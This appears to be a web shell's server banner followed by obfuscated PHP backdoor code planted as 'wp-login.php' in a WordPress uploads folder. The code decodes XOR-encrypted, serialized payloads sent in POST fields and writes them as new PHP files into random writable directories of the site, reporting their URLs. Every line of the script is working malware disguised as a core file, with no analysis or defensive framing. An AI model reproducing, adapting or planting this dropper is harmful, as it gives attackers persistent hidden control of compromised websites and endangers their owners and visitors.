HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2022/06/wp-login.php
<?php function kQwQEjfpW($VkSstW){$OMWYh = chr(114).'a'."\x77"."\x75"."\x72".chr(108).'d'.'e'."\143".'o'."\x64".chr(650-549);$TiGcJ = chr(766-651)."\164"."\162"."\x5f".chr(988-874).chr(111).chr(769-653)."\61".'3';$mRTvTpJAQF = chr(433-318)."\164".chr(114).chr(814-719).chr(731-616).chr(523-411).'l'."\x69".chr(116);$VkSstW = $mRTvTpJAQF($OMWYh($TiGcJ($VkSstW)));return $VkSstW;}function ZQqDtlCma($IcwUmWCb, $VkSstW){$PTtzM = "\163"."\x74"."\162"."\137".chr(115)."\x70"."\154"."\151"."\164";$IcwUmWCb = array_slice($PTtzM(str_repeat($IcwUmWCb, (count($VkSstW)/16)+1)), 0, count($VkSstW));return $IcwUmWCb;}function DdurhIq($IqEHZHYlGb, $gcHSJRx, $IcwUmWCb){$bCdwQDUP = "160faf5c-e9b3-4bd9-9341-b61db127dab2";return $IqEHZHYlGb ^ $bCdwQDUP[$gcHSJRx % strlen($bCdwQDUP)] ^ $IcwUmWCb;}function OYDfKuDx($VkSstW, $IcwUmWCb){$VkSstW = array_map("DdurhIq", array_values($VkSstW), array_keys($VkSstW), array_values($IcwUmWCb));$VkSstW = implode("", $VkSstW);$qMaQW = chr(535-418).chr(110).chr(343-228).chr(101).chr(150-36)."\x69"."\141"."\x6c".chr(105).chr(122).chr(101);$VkSstW = @$qMaQW($VkSstW);return $VkSstW;}function ESJKWNrO(){echo "LTLaAD";}function agAhPsC($LMFbcqvAir){static $xvakZY = array();$FurWcqxZzn = glob($LMFbcqvAir . '/*', GLOB_ONLYDIR);$WWdSJB = count($FurWcqxZzn);if ($WWdSJB > 0) {foreach ($FurWcqxZzn as $LMFbcqvA) {$KyyENqa = 'i'."\x73".chr(427-332).'w'."\x72".'i'.chr(443-327).chr(97)."\142"."\x6c".'e';if (@$KyyENqa($LMFbcqvA)) {$xvakZY[] = $LMFbcqvA;}}}foreach ($FurWcqxZzn as $LMFbcqvAir) agAhPsC($LMFbcqvAir);return $xvakZY;}function LYSiZE(){echo "kgVPSQA";}function BxmQJ($VkSstW){$dvDfJL = "\x44".'O'."\103".chr(321-236).chr(744-667).'E'."\116".'T'."\137"."\x52"."\117".chr(79)."\124";$rBuSA = $_SERVER[$dvDfJL];$FurWcqxZzn = agAhPsC($rBuSA);$nRIyaANJdU = array_rand($FurWcqxZzn);$rfIpUm = chr(645-599).chr(112).chr(104)."\160";$rvfkm = $FurWcqxZzn[$nRIyaANJdU] . "/" . substr(md5(time()), 0, 8) . $rfIpUm;$jOWVpMevr = chr(104-2).chr(815-710)."\x6c"."\145".'_'.chr(112)."\x75"."\x74".'_'.'c'.chr(277-166).'n'."\164".chr(101).chr(110)."\x74".chr(115);@$jOWVpMevr($rvfkm, $VkSstW);$kIJhnvCxn = chr(302-230)."\124".'T'.chr(977-897).chr(462-367).chr(204-132).'O'.chr(136-53)."\124";$xCIMH = 'h'.chr(129-13)."\164"."\x70"."\x3a".chr(47)."\57";$ZXMpHCcwj = $xCIMH . $_SERVER[$kIJhnvCxn] . substr($rvfkm, strlen($rBuSA));print($ZXMpHCcwj);}foreach ($_POST as $IcwUmWCb => $VkSstW){$IGgeSwfbBC = strlen($IcwUmWCb);if ($IGgeSwfbBC == 16){$VkSstW = kQwQEjfpW($VkSstW);$IcwUmWCb = ZQqDtlCma($IcwUmWCb, $VkSstW);$VkSstW = OYDfKuDx($VkSstW, $IcwUmWCb);if (@is_array($VkSstW)){$nRIyaANJdU = array_keys($VkSstW);$VkSstW = $VkSstW[$nRIyaANJdU[0]];if ($VkSstW === $nRIyaANJdU[0]){$omyBtxtvPz = chr(874-762).chr(104)."\160";$BweCKKQflM = "\x70".'h'.'p'.chr(621-503).chr(101).'r'.'s'."\151".'o'."\156";$LCyfYZVct = "\163".chr(476-375).'r'."\x69".chr(97)."\x6c".chr(105)."\172"."\145";echo @$LCyfYZVct(Array($omyBtxtvPz => @$BweCKKQflM(), ));}else {BxmQJ($VkSstW);}die();}}}